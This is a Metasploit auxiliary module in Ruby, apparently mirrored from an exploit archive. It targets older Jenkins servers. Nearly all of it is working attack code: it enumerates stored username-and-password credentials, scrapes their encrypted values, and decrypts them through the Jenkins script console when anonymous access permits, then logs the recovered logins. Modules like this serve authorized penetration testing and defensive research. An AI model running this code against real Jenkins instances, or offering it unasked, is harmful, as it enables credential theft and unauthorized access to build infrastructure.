Share
## https://sploitus.com/exploit?id=PACKETSTORM:180616
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'json'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Jenkins Domain Credential Recovery',  
'Description' => %q{  
This module will collect Jenkins domain credentials, and uses  
the script console to decrypt each password if anonymous permission  
is allowed.  
  
It has been tested against Jenkins version 1.590, 1.633, and 1.638.  
},  
'Author' =>  
[  
'Th3R3p0', # Vuln Discovery, PoC  
'sinn3r' # Metasploit  
],  
'References' =>  
[  
[ 'EDB', '38664' ],  
[ 'URL', 'https://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html' ]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8080  
},  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),  
OptString.new('JENKINSDOMAIN', [true, 'The domain where we want to extract credentials from', '_'])  
])  
end  
  
  
# Returns the Jenkins version.  
#  
# @return [String] Jenkins version.  
# @return [NilClass] No Jenkins version found.  
def get_jenkins_version  
uri = normalize_uri(target_uri.path)  
res = send_request_cgi({ 'uri' => uri })  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')  
end  
  
html = res.get_html_document  
version_attribute = html.at('body').attributes['data-version']  
version = version_attribute ? version_attribute.value : ''  
version.scan(/jenkins\-([\d\.]+)/).flatten.first  
end  
  
  
# Returns the Jenkins domain configured by the user.  
#  
# @return [String]  
def domain  
datastore['JENKINSDOMAIN']  
end  
  
  
# Returns a check code indicating the vulnerable status.  
#  
# @return [Array] Check code  
def check  
version = get_jenkins_version  
vprint_status("Found version: #{version}")  
  
# Default version is vulnerable, but can be mitigated by refusing anonymous permission on  
# decryption API. So a version wouldn't be adequate to check.  
if version  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Safe  
end  
  
  
# Returns all the found Jenkins accounts of a specific domain. The accounts collected only  
# include the ones with the username-and-password kind. It does not include other kinds such  
# as SSH, certificates, or other plugins.  
#  
# @return [Array<Hash>] An array of account data such as id, username, kind, description, and  
# the domain it belongs to.  
def get_users  
users = []  
  
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain)  
uri << '/'  
  
res = send_request_cgi({ 'uri'=>uri })  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')  
end  
  
html = res.get_html_document  
rows = html.search('//table[@class="sortable pane bigtable"]//tr')  
  
# The first row is the table header, which we don't want.  
rows.shift  
  
rows.each do |row|  
td = row.search('td')  
id = td[0].at('a').attributes['href'].value.scan(/^credential\/(.+)/).flatten.first || ''  
name = td[1].text.scan(/^(.+)\/\*+/).flatten.first || ''  
kind = td[2].text  
desc = td[3].text  
next unless /Username with password/i === kind  
  
users << {  
id: id,  
username: name,  
kind: kind,  
description: desc,  
domain: domain  
}  
end  
  
users  
end  
  
  
# Returns the found encrypted password from the update page.  
#  
# @param id [String] The ID of a specific account.  
#  
# @return [String] Found encrypted password.  
# @return [NilCass] No encrypted password found.  
def get_encrypted_password(id)  
uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')  
res = send_request_cgi({ 'uri'=>uri })  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')  
end  
  
html = res.get_html_document  
input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')  
  
if input  
return input.attributes['value'].value  
else  
vprint_error("Unable to find encrypted password for #{id}")  
end  
  
nil  
end  
  
  
# Returns the decrypted password by using the script console.  
#  
# @param encrypted_pass [String] The encrypted password.  
#  
# @return [String] The decrypted password.  
# @return [NilClass] No decrypted password found (no result found on the console)  
def decrypt(encrypted_pass)  
uri = normalize_uri(target_uri, 'script')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'vars_post' => {  
'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'",  
'json' => {'script' => "hudson.util.Secret.decrypt '#{encrypted_pass}'"}.to_json,  
'Submit' => 'Run'  
}  
})  
  
unless res  
fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')  
end  
  
if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body  
vprint_error('No permission to decrypt password')  
return nil  
end  
  
html = res.get_html_document  
result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')  
if result  
decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first  
return decrypted_password  
else  
vprint_error('Unable to find result')  
end  
  
nil  
end  
  
  
# Decrypts an encrypted password for a given ID.  
#  
# @param id [String] Account ID.  
#  
# @return [String] The decrypted password.  
# @return [NilClass] No decrypted password found (no result found on the console)  
def descrypt_password(id)  
encrypted_pass = get_encrypted_password(id)  
decrypt(encrypted_pass)  
end  
  
  
# Reports the username and password to database.  
#  
# @param opts [Hash]  
# @option opts [String] :user  
# @option opts [String] :password  
# @option opts [String] :proof  
#  
# @return [void]  
def report_cred(opts)  
service_data = {  
address: rhost,  
port: rport,  
service_name: ssl ? 'https' : 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
  
if opts[:password]  
credential_data.merge!(  
private_data: opts[:password],  
private_type: :password  
)  
end  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
  
def run  
users = get_users  
print_status("Found users for domain #{domain}: #{users.length}")  
  
users.each do |user_data|  
pass = descrypt_password(user_data[:id])  
if pass  
if user_data[:description].blank?  
print_good("Found credential: #{user_data[:username]}:#{pass}")  
else  
print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")  
end  
else  
print_status("Found #{user_data[:username]}, but unable to decrypt password.")  
end  
  
report_cred(  
user: user_data[:username],  
password: pass,  
proof: user_data.inspect  
)  
end  
end  
  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
end